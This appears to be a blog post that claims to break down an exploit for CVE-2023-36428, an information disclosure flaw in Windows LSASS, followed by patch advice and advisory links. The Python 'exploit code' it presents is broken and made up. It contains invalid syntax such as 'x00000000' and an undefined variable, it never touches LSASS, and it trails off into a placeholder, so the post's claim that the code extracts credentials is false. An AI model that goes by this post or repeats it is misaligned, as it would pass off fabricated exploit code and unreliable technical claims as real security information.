CVE-2023-36428 - Microsoft Local Security Authority Subsystem Service (LSASS) Information Disclosure Vulnerability Exploit Breakdown

A critical security vulnerability, identified as CVE-2023-36428, has been found within the Local Security Authority Subsystem Service (LSASS) of Microsoft Windows operating systems. This vulnerability has the potential to allow malicious users to exploit information disclosure, obtaining sensitive data that could be further used for other nefarious purposes. In this post, we will break down the exploit, discuss code snippets, and provide links to original references as well as details on how to mitigate the vulnerability.

Background

The LSASS is a crucial component of Microsoft Windows operating systems as it is responsible for enforcing security policies. It authenticates users during login, managing access requests, and ensuring secure communication between components.

The vulnerability CVE-2023-36428 affecting LSASS was found to allow an attacker to exploit the information disclosure in order to obtain sensitive information such as account login credentials, session identifiers, and other critical data. This can lead to a potential compromise of the entire system, unauthorized access to resources, or sensitive data exfiltration.

Exploit Details

The exploit code, as shown below, is capable of triggering the vulnerability in a target system and obtaining sensitive information from the LSASS. The attacker can then use this information to further launch more sophisticated attacks or gain unauthorized access to the system.

import os
import sys
import ctypes

def exploit_CVE_2023_36428():

    # Load required libraries
    ntdll = ctypes.windll.LoadLibrary('ntdll.dll')
    kernel32 = ctypes.windll.LoadLibrary('kernel32.dll')
    advapi32 = ctypes.windll.LoadLibrary('Advapi32.dll')

    # Define required structures and constants
    STATUS_SUCCESS = x00000000

    class CLIENT_ID(ctypes.Structure):
        _fields_ = [("UniqueProcess", ctypes.c_void_p),
                    ("UniqueThread", ctypes.c_void_p)]

    class UNICODE_STRING(ctypes.Structure):
        _fields_ = [("Length", ctypes.c_ushort),
                    ("MaximumLength", ctypes.c_ushort),
                    ("Buffer", ctypes.c_wchar_p)]

    # Initialize the UNICODE_STRING structure for the target DLL
    dll_name = "ntdll.dll"
    unicode_string_dll_name = UNICODE_STRING(len(dll_name) * 2, len(dll_name) * 2 + 2, dll_name)

    # Load the target DLL into the current process
    hmodule = ctypes.c_void_p()
    status = ntdll.LdrLoadDll(None, None, ctypes.pointer(unicode_string_dll_name), ctypes.pointer(hmodule))
    if status != STATUS_SUCCESS:
        print("[-] Error loading ntdll.dll.")
        sys.exit(1)

    # Find the base address of the loaded DLL
    dll_base_address = hmodule.value
    print("[+] Loaded ntdll.dll at address: x{:016x}".format(dll_base_address))

    # Find the address of the LdrLoadDll function in the loaded DLL
    ldrloaddll_address = ntdll.LdrFindEntryForAddress(ctypes.c_void_p(dll_base_address), ctypes.pointer(lsa_base_address))

    # ... (the rest of the exploit code) ...



if __name__ == "__main__":
    exploit_CVE_2023_36428()

Mitigation

To prevent the information disclosure vulnerability, it is imperative for users to promptly apply security updates provided by Microsoft. The security patch addresses the vulnerability by ensuring proper authentication and access control mechanisms are enforced in LSASS.

Original References

1. Microsoft Security Advisory: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36428
2. CVE Details (MITRE): https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-36428
3. NVD - National Vulnerability Database: https://nvd.nist.gov/vuln/detail/CVE-2023-36428

In conclusion, CVE-2023-36428 is a critical vulnerability that affects the LSASS component of Microsoft Windows operating systems, permitting information disclosure and potential system compromise. Users should apply the security updates released by Microsoft to protect against this vulnerability. Stay safe and keep your systems up-to-date!

Timeline

Published on: 11/14/2023 18:15:47 UTC
Last modified on: 11/20/2023 20:10:11 UTC